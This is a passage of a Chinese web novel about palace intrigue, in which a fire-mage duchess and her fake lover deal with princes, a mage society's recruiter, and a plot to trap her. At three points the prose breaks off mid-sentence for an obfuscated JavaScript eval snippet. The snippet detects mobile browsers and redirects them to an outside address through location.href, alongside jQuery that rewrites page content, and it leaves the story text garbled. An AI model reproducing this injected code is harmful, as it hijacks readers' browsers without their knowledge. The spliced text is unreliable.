她直起背，挺了挺胸，开始用眼睛寻找那个人，那个带给她无尽屈辱，但终究是她唯一依靠的殿下。 莱昂王子与贝拉坐在一起和宾客们交谈。 他很快注意安琪的视线，轻轻抬了抬下巴。 于是安琪款款朝他走去，提着裙摆，屈膝行礼。她的主动让所有人屏住了呼吸。 她平时不会这样，安琪对莱昂王子的态度畏惧多于爱慕。她平时根本不敢不和他说太多的话，他比她大好几岁，聊不到一块。 莱昂王子的饶有兴味地看着反常的安琪，他觉得她鼓起勇气，下定了某种决心的样子很好玩儿。然后，他又慢慢侧过脸，观察身旁妻子的反应。 “贝拉，费雪家的小姐在向你行礼呢。”他提醒她。 闻言，贝拉瞥了她一眼，淡漠地点了点头，眉头也没有皱，一个多余的表情也没给她。 一瞬间，莱昂气闷起来，为什么贝拉什么也不在乎，为什么她不会哭也不会笑。 他好像失去了什么东西，失去了什么？思绪在脑子里乱窜，最终打了死结。 他的沉默让周边的人屏息凝神，提心吊胆。如酝酿着雷暴的乌云，随时会劈下闪电，惩罚给错反应的人。 终于，莱昂说：“我要去照顾我的花朵了。你继续留在这儿吧。” “如您所愿，殿下。” 莱昂沉着脸快步离去，安琪则慢慢退下，过了一会儿，也消失在会场。 玛西亚非常惊讶，因为安琪离开的时候好像白了她一眼。 “我得罪她了么？”她不明所以。 “比起那个，还是关心卡尔王子吧，他好像注意到我们了。” 埃文给她使了个眼色，玛西亚会意，按先前商量好的那样，开始对他动手动脚。 其实就是……帮埃文整理一下衣领。 相爱的证据由亲密的小动作组成，玛西亚学习着有关恋爱的一切，进步飞快。 20. 掏出戒指的伯爵 莱昂殿下走后不久，贝拉派人唤玛西亚过去与女客聊天，她只得暂时把埃文留在原地。 “如果不想被人打扰，可以穿过走廊，去窗边透透气。”她叮嘱他。 “放心，玛西亚。我非常希望被人打扰，观众越多越好。” 道理是这么个道理，可这一屋子人里，只有埃文是平民，偏偏他英俊又走运，傍上了公爵……怎么可能不承受恶意？ 何况卡尔一直在看这边，估计很快就要过来和埃文交锋。 “反正……你别吃亏。”她想了想，伸出手，又摆弄了一下他的衣襟。 埃文催促道：“好啦，快去吧，亲爱的。” 玛西亚：“……” 莱昂王子走了之后，贝拉王妃好像更自在了似的，她照常和人交谈，气氛融洽，有说有笑。脖子上的冰龙鳞片晶莹剔透，反射着清澈的光，有机物不同于矿物宝石，龙鳞的光晕似乎是流动的，不规则的光点映在贝拉殿下的脸上，恍若星尘碎屑。 “布莱斯公爵，我得再次感谢你送我的冰龙鳞，大家都觉得非常适合我。”贝拉笑着，朝她伸出一只手，示意玛西亚坐在自己身侧。 玛西亚在贝拉这样真正的美人面前总有些紧张，倒不是自卑，而是天然的美貌本身就有一种精神上的冲击力，好比走在路上，内心平静无波。一转弯，猛然发现一树杏花盛开，芬芳扑面而来，她没办法不心头一颤。 当初见到埃文时，她也是这样，心脏麻痹了好一会儿。 当贝拉王妃对她笑，玛西亚甚至有些晕乎乎的。 她坐下后，向另外两位女士点头致意。 经过一番介绍，玛西亚得知她们分别是侯爵夫人蕾拉·图尔，和图尔家的菲欧娜小姐。 蕾拉和丈夫的妹妹年纪相差不大，关系亲厚，经常一起出席社交场合。 蕾拉热情健谈，玛西亚一落座，就朗笑着与她搭话：“布莱斯公爵，您可不知道，菲欧娜一直吵着要我带她去决战遗迹参观。去了又能见到什么？魔王可是成了一堆灰烬。” 菲欧娜不给她面子，拆台道：“蕾拉，明明你也很好奇魔王的样子。” 蕾拉笑笑：“今天好了，我们可以直接问问布莱斯公爵。您跟我们说说吧！” 玛西亚老实回答：“魔王没有人类的五官，谈不上美或丑。像道灰暗的阴影，有实体的阴影。” “哦哦，竟是这样……” 蕾拉显然没有想象出来，于是玛西亚又补充其他信息：“魔王有名字，如果用我们人类的音节去模拟，最接近的发音是：古里姆古路萨尔休。” 话音一落，无人回应。 玛西亚瞬间有些后悔。 战争进行得太久，人们提起魔王就像提起逃避不了的坏天气一样。虽然，有时候也会把他当成社交话题，但归根结底更想把他忘掉。 谁会想听魔族古怪不祥的语言？她又把别人的客套话当真了。 与其围绕魔王说个没完，不如去夸蕾拉夫人的口红颜色漂亮，赞美菲欧娜头上璀璨的宝石插梳……虽然还是很无聊，但至少大家都能插上话。 沉默最终被蕾拉打破，她努力复述了一遍魔王的长串名字：“古里……古里姆古路萨尔休是什么意思呢。” 玛西亚一怔，见蕾拉不像是没话找话，神情认真，她才放下了心。 “我理解为‘无尽头的死寂’，可能有偏差，毕竟魔王死后，裂隙和魔族残余一起消失了，没有办法再验证。” 菲欧娜小姐问：“魔族突然从裂隙中出现，和人类缠斗了六十年，人类却从未了解过他们。您觉得魔族到底是什么？有智慧的魔法生物？还是来自另一个世界的‘人’？” 玛西亚：“魔族是世界的疾病。” 菲欧娜：“那是什么意思呢？一种比喻？” 明确的提问方式以及她们友善的态度让玛西亚感到舒适。她打开了话匣子。 “亚斯特流传的创世神话很简单，但我听过其他国家的神话版本。据说，创世神在创造第一个世界的时候，就已经生病了。可如若不继续创造，祂永恒的生命就没有活力与希望，只会孤独地走向崩溃。于是祂尝试了第二次。可惜这一次依旧没能成功。祂休息了很久，才克服沮丧，重拾勇气和耐心，创造出我们所生活的这个世界。祂宛如一位艰难孕育孩子的母亲，生下了婴儿，身体却早已千疮百孔。这个婴儿——我们的世界也并不健康。” 菲欧娜凝神聆听，联想到了什么，问：“所以裂隙就是世界的伤口？” 玛西亚答：“这我不确定，但魔族无疑是疾病，魔族在蚕食神明的造物。面对魔王时，灵魂好像被抽出来浸泡在下水道里，阴暗潮湿。每靠近他一步，我就感觉生命力流失一分，在某个瞬间，我甚至产生了‘算了，让他把我吃掉吧，我无法打败他，我的生命一文不值，结束在这里也可以’的念头。这完全不是我本人的念头，而是一种……毁灭的诱惑。” 菲欧娜：“那么，您是怎么克服的？” 玛西亚轻笑：“我比较能分清什么是自己真实所想。我这个人无论如何都不想死。” 菲欧娜：“然后呢？” 玛西亚：“然后就把魔王烧死了。我活着，他死了。就这么简单。” 她的描述一点都不精彩，贝拉殿下却听得入神。她为有人能这么果断地杀死敌人感到快慰。 “我可以直接叫你玛西亚么？”贝拉问。 “当然，殿下。” “我想说，玛西亚，应该有人为你谱写歌谣，书店里要摆上你的传记。” “呃，可我才二十二岁，说不定……” 贝拉微笑着握住她的手：“说不定以后会有更伟大的成绩。在未来。” 蕾拉也伸出一只手搭过来，笑着说：“一定会的，布莱斯公爵，您是我们的英雄啊。” 菲欧娜点了下头：“我也挺喜欢您的。公爵。” “啊，谢谢，谢谢。” 玛西亚难为情起来，结结巴巴地回应她们，她的直觉告诉她，这几个人并非虚情假意，可又有点弄不清楚她们为什么要对自己好。 她和贝拉殿下也没见过几次。图尔侯爵的领地在距离怀特兰很远的滨海地区，蕾拉长居王都，不问具体的政事，菲欧娜小姐早早和外国人订了婚，很快就要淡出亚斯特的社交圈。 没有利益的结交，在王宫的茶会上真的会发生么？ 一时半刻，玛西亚没想通。 “啪——” 鎏金瓷杯打碎在地。 “没关系。”卡尔躲开了脚下的瓷片，宽宥而无奈地看向埃文，“贝克尔先生，虽然您来自边远的乡村，但这里是王宫，加强一下礼仪学习吧。您说呢？” 他一贯会说这种表面大度，实为指责的话。 分明是卡尔让他帮忙递一杯茶，自己却故意不接稳。这要再看不懂是怎么回事，埃文也就白读那么多小说了。 “殿下，所有的错都在我！怪我是个没受过教育的粗鄙之人。” 埃文的声音有些沙哑，恭顺地低着头，水汪汪的眼睛却小心翼翼地往上看。像只误入人间的鹿，确实是什么都不懂的野生动物，但谁会不心疼他呢？ 他那么漂亮，那么无辜，年纪又小。 不等卡尔回应，埃文又诚恳而惶恐地说：“您说的这些我会努力学的，但我真的不能离开玛西亚……求您了！不要拆散我们……” 玛西亚目瞪口呆。 埃文是怎么发出这种让人起鸡皮疙瘩的哭腔的？而且，眼泪，他的眼泪不知何时盈满眼眶，马上就要滚落下来。 卡尔：“……谁要拆散你们？我是说礼仪。” 埃文转忧为喜：“您不会因为我们的爱情看不起玛西亚，对么？您能尊重并理解她的选择，真是太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052279|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了。” 卡尔错愕地后退半步，艰难地从牙缝里挤出一句：“我从来没有看不起玛西亚。” 蕾拉低声问：“那是您的男伴，对么？” 玛西亚突然很羞耻，但没办法，硬着头皮开口：“……是的！埃文是我见过的最单纯的男孩！哈哈！” 贝拉王妃微笑不语。蕾拉有些好奇，又礼貌地控制着自己，没有伸着脖子看。菲欧娜则一副不感兴趣的样子。 埃文俯身去捡碎裂的茶杯瓷片。 “嘶……” 瓷片割破了埃文的手指，血珠不断冒出来，鲜红醒目。他确实不懂礼仪，但人们也在此刻相信了他没什么心机。 是个笨手笨脚的美人。仅此而已。 见此情形，玛西亚向贝拉殿下说了声失陪，走到埃文身边，把他扶起来。 埃文在看到玛西亚的一瞬间，泪水恰到好处地涌出——当然是演的。 玛西亚却真的有些怜爱他了。 因为他本来不用在人前做这副柔弱可怜的样子，不用对任何人卑躬屈膝，是她把埃文从远离纷扰的冰原带到了这风暴狂涌的是非之地。 “埃文，疼么？”她伸出手，捧着他的脸，用拇指轻轻为他抹去脸上的泪痕。 他小声地说：“不疼……我是不是惹王子殿下生气了啊？玛西亚。” 玛西亚得到提示，转而看向卡尔王子：“我相信殿下不会介意这种小事的。对么？” 体面的王子无法跟埃文计较，他输在必须要脸，不能像埃文那样撒娇撒痴。再多说一句，人们就要觉得他也是个同等水平的蠢货了。 卡尔嘴角抽了一下，旋即重新调整姿态，漫不经心道：“当然。这只是一件小事。” 玛西亚：“那我们先失陪了，我带埃文去处理下伤口。” “我和您一起去，布莱斯公爵，”一个脸熟的男子半途跟上，表示自己愿意帮忙，“我是个挺好的医生呢，水魔法师。” 玛西亚和埃文交换了一个眼神，没有拒绝这个人。 路上，她渐渐想起了他是谁。 是在庆功舞会上第一个邀请她跳舞的人，兰斯洛特伯爵。虽然这支舞没跳成。 抵达休息室后，玛西亚直言：“其实这样的伤口哪里需要医生呢？您有什么话要对我说吧。” 兰斯洛特伯爵却笑了笑：“这样的伤口也不至于让您这么紧张，贝克尔先生流的血总共不会超过一毫升。” “恋人之间，互相关心，不是很正常么？”玛西亚不慌，沉着地应对着。 “哦，公爵，我想善意地提醒您，魔法师和普通人几乎是截然不同的两种人类了。他会崇拜您，还是害怕您？崇拜和恐惧，没办法让爱情长久。” 不等玛西亚反驳，埃文就脱口而出：“我喜欢玛西亚，这和她是不是魔法师没有关系。” “留待时间检验吧，年轻人。” 兰斯洛特伯爵的态度让玛西亚不满，最讨厌这种跑来说怪话，却不把话说清楚的家伙了。 “伯爵，您可能不了解我，我不喜欢猜谜语。您这已经是第二次故意接近我，到底是为什么事？别兜圈子了。” 她捧起一大团跃动的火，又猛地一攥拳，把火焰收回掌心。 她玩笑般展示自己的力量，又或许只是无聊之举，就像有人不耐烦的时候会抖腿，而玛西亚的方式是制造一团可以把人瞬间烧成灰烬的火。 这时，兰斯洛特伯爵恭敬地向玛西亚掏出一枚戒指。 玛西亚愣住。 埃文则生气得涨红了脸，比刚才表演时还要委屈，还要着急，连敬语也不用了：“你，你！你凭什么向玛西亚求婚啊！” 就因为都是魔法师？ 埃文见兰斯洛特伯爵年纪在三十上下，容貌远不如他英俊，说话又阴阳怪气，毫不真诚。这样的人也来抢玛西亚……真是岂有此理！ 21. 虚情假意的拥抱 玛西亚盯着兰斯洛特伯爵的戒指看了一会儿，没有接过。 象征四元素的宝石均匀排布在秘银环对称的四个点上。这枚戒指显然另有寓意。 “原来您是高塔会的成员。” “是的，您愿意加入我们么？我上次就想跟您说这件事。” 玛西亚答得干脆：“不愿意。” 埃文不知道什么是高塔会，但他总算听出这不是求婚，玛西亚也拒绝得很明确，心里大石落地。 “呼……” 埃文舒了一口气，偷偷抬眼观察玛西亚，发现她没有怪自己反应过度，他乖乖退回她身后站好，不再乱插嘴。 兰斯洛特伯爵犹未放弃，试着追问：“那么您拒绝的原因是什么呢？” 高塔会是一群想在大陆中心设立魔法塔，统一管理魔法师的人。相当于在世俗权力之上构建跨越国界的魔法师教团。 玛西亚不认为这是个好主意。 人总是和同类呆在一起最舒服，但是，魔法是划分同类的标准么？冰原上的格罗姆是魔法师，王宫里的卡尔也是魔法师。 这些魔法师想建立一座拔地而起的高塔，睥睨魔法之外的一切。他们的口号响亮且骇人——魔力即神启。 诚然在与魔族的交战中，她曾无数次感恩魔法的降临，魔法确乎是神给予人类的礼物，好让人类能够度过危难，抵御困难重重，在绝境中抓住一丝希望。 可说实话，这片大陆上并没有什么人真正信仰神明，更多把祂视为古老的传说，当做共同的文化渊源。因为创世神话实在太简单了，每个国家的版本略有不同，但核心一致——神明失败了两次，创造出这个世界。 历史上，从来没有人为了神祇发起任何战争，也从来没过极端狂热的信徒，现在却来了一群以神为名的家伙。 她无心和兰斯洛特伯爵解释太多，冷淡地说：“你们又不会让我当塔主。” 兰斯洛特伯爵：“……” 是幽默感么？还是她本来就这么狂傲？ 高塔会想吸纳强者，扩大声威，但战斗能力强不代表能够做领袖，他们至多给玛西亚一个高级荣誉职位。 兰斯洛特伯爵收回戒指，思索片刻，自己想通了一些。 一定是因为玛西亚得到的世俗权力足够多，她想躺在功劳簿上生活，不愿为高塔会的理想奋斗，也在情理之中。 于是他换了一个角度：“高塔会的成员遍布整片大陆，英俊的美男子也有不少，一定有比这位贝克尔先生更配得上您的。” 兰斯洛特脸上的表情不是讽刺，不是轻蔑，而是真心地向玛西亚发出邀请，像在说：加入我们吧，我们这里有好吃的下午茶点心。 玛西亚的胸口一阵发闷。 “您觉得魔法师是更优越的人类？” 兰斯洛特伯爵答得坦荡：“当然。魔法师的世界更广阔，思想更高维，您知道我在说什么，那种感觉就像看到了世界的本源。” 放在往常，她一定会舌头打结。偏偏对方一直在用她珍视的魔法当借口。于是，她快速地说出自己的想法：“您并没有看到世界的本源。伯爵。魔法不是这样的力量，魔法会让人更自由，更尊重自己的内心。我就是喜欢埃文·贝克尔。您难道就没想过让人和人之间稍微平等一点么？” 平等？兰斯洛特伯爵听懂了，他惊讶地发现，原来大名鼎鼎的烈焰之炎，不过是个被爱情冲昏了头的女人。 他看了看玛西亚，又看了看埃文，叹息似的一笑，不知是在嘲讽谁：“您心中充满理想化的想法，事实上，一只青蛙和一只天鹅，永远不会是平等的。” “灵魂。伯爵，魔法让我们摈弃一切表象，直抵内在。洪水漫过头顶，烈火焚毁躯壳，厚土掩埋骨骸，劲风吹散呼吸——我们怎么会不平等？魔法师最该清楚，人有灵魂。” 她的用词很随意，不符合贵族的表达习惯，结构相似的四个句子，竟有好几处不和谐的音韵。但是没关系，玛西亚把自己想说的话说清楚了。 “我和高塔会的魔法师不是同类，我和埃文的灵魂靠得更近，就是这样。” 对方像是反应不过来，愣愣地看着玛西亚。 玛西亚抓住埃文的手，不太礼貌地背身离去，没有与兰斯洛特伯爵告辞。 埃文梦游似的随着她走，回想玛西亚方才坚定的神态，心脏跳得厉害。他完全不懂魔法，闹不清高塔会的理念，但他确信自己听懂了玛西亚的话。 她提到了灵魂。 玛西亚说，他们的灵魂靠的更近。 显然，她的话语触动了埃文心中最敏感的那根弦。他回过神后，开始热烈地赞美她：“玛西亚，你哪里像你说的那样笨嘴拙舌？你辩论的时候就像拳击手！砰砰砰！好帅气。” 玛西亚：“只有你这么觉得。” 埃文：“才不是。你把他说得无力反驳！” 玛西亚清醒地摇头：“因为这不是一场辩论，是我单方面的输出。高塔会既然认可‘强者就是比弱者有更多权利’，他还怎么与我争执呢？我说，他就得听。” 更何况玛西亚和高塔会，以及这位兰斯洛特伯爵没有前缘纠葛，她不怕得罪他们，自然说了个痛快。 “那你这样拒绝他们，以后会有麻烦么？” “也许吧。不过我不在意。” 战争结束了，人类失去了共同的敌人，无论如何都会从团结走向分裂。不想惹麻烦，想得到所有人的认同，本身就是一种奢望。 若说王室想把魔法收归己用是一种贪婪，高塔会想搞魔法师特权，推动魔法成为宗教，也真没好到哪儿去。 人类的想法总是太复杂，某种意义上，他们比还魔王可怕。 “走吧，先回会场去。” 返回途中，两人听到了从盥洗室中传来的对话声。声音压得很低，又被盥洗室里滴滴答答的水流声切得破碎，但内容隐约可辨。 一个女人问：“到底被赏给谁家了？难道她知道……抑魔石？” 另一个女人回：“不可能。没人知道。不然先王怎么会……那可是最后一块……所以那条项链……” 这个回话的人嗓子很低哑，音色独特。玛西亚相信自己再次听见这个声音时一定能认出来。 玛西亚立刻停下脚步，没有再沿着走廊转弯，而是贴在墙边站定，竖起耳朵细细听。 埃文同样警觉，不仅紧紧地捂住了自己的嘴，还借了一只手给玛西亚。 他的大手严严实实地捂着她半张脸，被瓷片割伤的小口子早就凝了血，可似有若无的血气还是往她鼻子里钻。 玛西亚不讨厌埃文的触碰，但不得不说，在紧张的情形下，感觉有点怪，好像心脏也被他的手捏住了。 盥洗室内的人结束了抑魔石的话题，开始抱怨别的事：“连贝拉殿下都只戴了冰龙鳞片，下边的贵妇人又怎么好太出风头？” “是啊。真不理解，格林伍德有精金矿啊！娘家那么富裕，她的品味怎么会这么寒酸……” 玛西亚捕捉到几个重要信息：只有一块抑魔石、抑魔石被做成了珠宝、贝拉殿下来自格林伍德。 她有种直觉，贝拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056078|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下就是给克劳德·斯温去信的匿名贵妇人。 对话戛然而止，然后是一串脚步声渐渐远去，最终消失在走廊尽头。 这时，埃文松开了手，他刚想松一口气，却突然看到落在对面墙上的一角阴影，轻微地晃动了一下。 玛西亚看埃文神情古怪，也察觉到了不对劲。回想刚刚那远去的脚步，声音稍微有点飘浮，不像是实在地踩到了地面上。 是拟音。 风魔法可以用气流的振动模拟声音。 盥洗室中的人发现有人在附近，自觉失言，于是用这种方式诱骗来人放松警惕，再出来查看偷听者到底是谁。 如若扭身就走，就说明玛西亚不仅全听到了，并且明白他们所说的内容是什么意思。 如若冲出去，揪着这两个人盘问更多秘密，倒不是做不到。可怎么会有一被威胁，就把实话全都交代出来的敌人呢？何况，这里是王宫。 还是装作什么都没听见比较好。 埃文也这样想。 于是，他们心有灵犀，默契地拥抱在一起。 离席的恋人，躲避着众人的注视，在走廊上亲昵，沉浸在彼此的柔情蜜意中，多正常啊。 “玛西亚，我亲爱的。”埃文沉着地开口。 “埃文，我在听。”玛西亚接上。 “谢谢你今天带我来到王宫，这儿的一切都美极了，我从来没见过这么多好东西，这里连地面都光滑得可以照出影子！我……我感觉自己像是在做梦。”他害羞地表白，“我为什么会遇见你呢？” 他扮演着自己的角色——被公爵俘获的贫穷美人。眼神怯生生，崇拜并感激着玛西亚。 玛西亚则把头垂得很低，以至于脸完全埋在埃文的怀里，藏到安全黑暗的庇护所，慢慢地想词。 该说什么呢？还是把问题抛回去吧。 她用鼻梁抵住他的胸骨，张开嘴唇，发出闷闷的声音：“埃文，你真的喜欢我么？” “当然了！”他回答得果断又干脆，即便是在念台词，他的告白也实在动人，“玛西亚，你的笑容是我每天最想见到的东西。你的嘴角是一弯月亮，星星坠入你的眼睛。” 相当美妙的情话，但是非常不妙地，她卡住了。 “啊，埃文……你喜欢我……那个……” 埃文连忙伸出手，捧起她的脸，轻轻用力扳起她的头，好让她看着自己。 “玛西亚，你怎么能不信我呢？我喜欢你是最自然不过的事。你值得被所有人喜欢，我只不过是其中最幸运的一个。” 埃文的语气急切而真诚，仿佛在安抚玛西亚隐秘的脆弱。设定一下子丰富起来，玛西亚是不安的女公爵，她对自己用权力和财富赢来的爱情不够自信，对自己作为“女人”的魅力不够自信。 这下，玛西亚什么都不用说了，重新低下头，作感动状就好。 她不由自主地闭上了眼睛，在他怀里深深吸气，又慢慢地呼出。山一样的胸怀包围着她，心跳如神秘的鼓声，她沉溺其中。 妈妈严肃的教育帮她保护了自己，免于被轻浮的男人欺骗。但是，她始终是个身心健康的年轻人，对异性的好奇，以及对爱情的憧憬只是被压制了，并没有消失，情欲如同冰下之水，暗中奔流。 她觉得自己有点儿过分。 在这随时可能被拆穿的紧要关头，埃文正全情投入地为她工作，可她呢？她在暗中享受这个拥抱，用脸颊感受着他柔软又结实的胸肌，听他一次次对自己说：“玛西亚，我喜欢你。” 可她确实享受起来了。 22. 安琪小姐的选择 阳光照进花房，照在安琪火一样的红发上：“殿下，殿下？” 安琪细细的语声里满怀担忧：“您为什么不把眉头展一展呢？” 他仰在一把木制躺椅上，眼睛看着因凝着水汽而模糊的玻璃穹顶。沉沉地想着什么事情，不予回应。 “是我让您为难了，对么？我不该在公开场合……” 莱昂不以为意地轻哼一声，说：“做都做了，刚才不是在人前很得意？安琪，你以前不是这样的。” 说完这话之后，莱昂意识到自己是第二次说这句话——“你以前不是这样的”，贝拉曾生动活泼，如今变得完美而冷漠；安琪以前是个哭唧唧的小可怜，现在好像也长出了一点心眼儿。 区别是莱昂为贝拉的改变感到不安。而安琪，就好像收藏在柜中的洋娃娃突然换了件新衣服，稍微……有点新鲜。 安琪被他诘问得无措，拼命回想姑妈教的：若男人有个沉闷的妻子，就会喜欢主动的情人。 于是，安琪鼓足勇气去撒娇：“因为我太想念殿下了！您都不知道我这些天是如何度过的……如果我不抓住机会，下次要等到什么时候呢？” 一双温柔的手藤蔓似地攀向莱昂的腰。莱昂笑了笑。 他的吻总是从脖颈开始，像咬住猎物，安琪哀哀讨饶的样子让莱昂喜悦。因为这是一具活着的身体，她给他反应。 某个瞬间安琪真的觉得自己要被他活吞了，然后她开始害怕得掉眼泪，一滴、两滴……直至泪流满面，这种事果然无论多少回都适应不了。 “没错，安琪，做个诚实的好孩子。” 他伸出手，异常温柔地给她抹去眼泪，这眼泪是他制造出来的，也由他擦拭。 “不要像贝拉那样死气沉沉。” 听到贝拉的名字，安琪涌起复杂的酸涩，来不及分辨心中的感情到底是什么，莱昂就把她全部的思绪撞碎。 不要去想太多，安琪告诉自己，道德对她来说没有用。道德只会审判她，指责她不要脸，不能拯救她。 主动交出自己之后，她得到了丰厚报偿，是比宝石和衣裙更令她心动的东西——位于王都北郊的镜湖庄园。 “殿下？您竟……真的要把镜湖庄园赏赐给我！”她不敢置信地看着莱昂。 镜湖庄园的人工湖占地数十顷，此时，湖面被冻结成剔透的琉璃。待到三月，天鹅会成群结队地飞来，在水面上悠游嬉戏。仲夏时节，湖畔的葡萄田绵延展开，空气中飘满黄金酒的熏香。 百年之前，利刃女王每年秋天都和王夫一起来这儿共度月落节，可以想见这是个多么美丽、浪漫的地方。 “作为庄园主人，你打算在那里做什么？” 安琪愣住，“主人”这个词让她缺乏实感，心中一片茫然，只说：“不知道，月落节还要很久……冬天也不是办舞会的好时候。我在社交界没什么朋友。” 莱昂突然笑了：“安琪，你办一场宴会。取出庄园里窖藏的黄金酒，去邀请玛西亚·布莱斯。火魔法师都是些千杯不醉的酒鬼，她去，卡尔就会去。” 听到玛西亚的名字，她的心像被鞭子狠狠抽了一下，安琪不懂：“为什么玛西亚·布莱斯会是这么重要的女人？” 洋娃娃的表情又生动了一点，他饶有兴味地看着她，多了些回答问题的耐心：“因为她烧死了魔王。” “可那是过去！现在已经没有魔王了。” “唔，有道理。可是，”他的语气像哄孩子，“用你美丽的小脑袋想一想。如此危险的武器，不握在自己手中怎么行？她当然应该属于王室。” 她犹豫地问：“属于王室……而不是属于您，这样没问题么？” 这个问法有挑拨兄弟关系的嫌疑，又像暗示莱昂应该亲自去“收服”玛西亚。莱昂却并不生气。 即便贵为王子，也免不了好为人师，他很愿意指点一个不谙世事的女孩。 “当然。因为他本来也没机会。白银家族严格遵照长子继承制，每一个顶着沃斯姓氏的人，都清楚自己该扮演什么角色。” 国王命卡尔追求玛西亚·布莱斯，这是计划的一部分。王妃之位是陷阱，卡尔的爱情是诱饵。抑魔石是防止猎物反咬的口枷与绳索，最后玛西亚的血只属于一个人——莱昂和贝拉的孩子。 这个孩子会有月光一样的银色头发，母亲是预言中“亚斯特最尊贵的女人”，体内流淌着最强魔法师的血，他会是魔法时代的王，永续白银家族的荣光，在王室徽记已有的利剑、盾牌与王冠中，增加一柄法杖。 只可惜，去年贝拉的孩子没能顺利降生，不过猎取玛西亚·布莱斯也需要过程。 可以等贝拉状态好转一点……她的身体没有彻底复原，所以才心情不好。一定只能是因为这个，不会是别的原因。 想到贝拉，莱昂仿佛在逃避什么一样，无法继续深入思考下去。于是他重新捡起刚刚的话题：“安琪，去和玛西亚·布莱斯做朋友。当然，不用做太好的朋友，能让她在你的庄园酣畅淋漓地大醉一场就好了。” 他只下命令，不解释原因。这件事的详细的内情只有爱德华国王和他两个人知道。 “然后呢？把她送到卡尔殿下的床上？”她狡黠地坏笑，露出尖尖的虎牙。 安琪比莱昂想象中聪明，事实上，所有女人都比男人想象中聪明，接受了莱昂浅显到白痴也能听懂的政治教学之后，她猜到了莱昂的意图。 玛西亚·布莱斯已有美貌的情人，如果她快速地移情别恋，人们不会称赞她有魅力，只会说她是个天生的荡-妇。也许就是因为她顾及名声，卡尔王子才会碰壁。 “我可以邀请她多住几天，在镜湖庄园，远离人群的注视，氛围使然，她也许会愿意开始一段新的感情。” 柜中的洋娃娃突然活了过来，开始用自己的头脑思考，把莱昂吓了一跳。 “殿下？” “没什么，我挺喜欢你现在的样子。”莱昂亲吻她的额头。 等安琪回去时茶会已步入尾声。 她认真打量起玛西亚，心想这女人也不能说丑，只是一切都太普通，弯弯的眉毛是柔和好看的，鼻梁高，但稍微短了一些，嘴唇漂亮，但下巴兜兜，让脸型有种圆钝的感觉。 如果没有这双青绿色的眼睛，见她一百次，也很难记住她的长相。 察觉到她的视线后，玛西亚不自在地扭过脸，轻声问埃文：“安琪小姐到底为什么总看我？” 埃文没多想，乐观地说：“也许她是你的仰慕者。” 她感到气恼，又有些无奈，用手肘顶向他的腰窝：“认真点， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060516|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埃文。你好好看一眼。” 埃文惊讶，这个举动比往常更亲近了些，并且十分自然。 精心排练的肢体接触固然甜蜜，却略显做作。是以挨了玛西亚的肘击之后，他反而有些高兴。 他对玛西亚深情一笑，用恰到好处的音量表忠心：“玛西亚，我不会看别的女人，我只看着你。就这样一直看着你。” 玛西亚：“……谢谢，真感动。” 埃文太投入了，她轻轻叹了口气，准备先与贝拉殿下告辞。 如若贝拉殿下就是那位给克劳德去信的匿名贵妇，很多事就好办了。 她与克劳德旧情复燃背叛莱昂也好，向旧友求问偏方往莱昂的食物里下毒也罢，无论那封信里写的是什么，都让玛西亚振奋。贝拉殿下总算没有变成一个绝望的妻子，玛西亚也有望在王室内部争取一个朋友。 “公爵大人，要走了么？”安琪突然叫住她，朝她走来，“我听闻您对美酒品鉴颇有心得。” 单单“品鉴”这个词就够让玛西亚头皮发麻，她忙摆了摆手：“只是偶尔喝一杯。” “那正好，我想办一场酒宴。当然，如果您觉得我没资格邀请您……”她咬着嘴唇，话没说完，声音小下去。 玛西亚没反应。 经过埃文夸张的演示，玛西亚对自我贬低时柔弱的语气、怯生生带着自责的表情已经有些脱敏。 她没有急于否认，也没有于心不忍，只觉得脑子里咕嘟咕嘟冒泡，似有一只长柄汤匙不停地搅动，困惑得快要开锅。 今天全部的口才，都已经用光，玛西亚脑子里实在没有词给她，安琪锁骨附近新增的紫红色的斑痕也让人有些分心。 “玛西亚，”埃文忽而倾身贴近，“你还记得么？你要带我去拜访剑术老师。” 玛西亚得救一般：“哦，亲爱的！我永远不会忘记对你的承诺。咱们这就回去。” 她对安琪说了声抱歉，挽住埃文的手臂离去。 安琪默然。 武器也比玩物高级一点，对么？在看到埃文对待玛西亚的态度之后，安琪发觉自己此前的判断可能是错的。然而，若是她承认爱的存在，就要接受自己无爱而绝望的现实。 “姑妈，我们也回家吧。晚上我想吃苹果派。” 那是小时候她最爱吃的，安琪的母亲会把苹果片叠在一起，做成玫瑰花的造型，撒上厚厚一层肉桂粉。 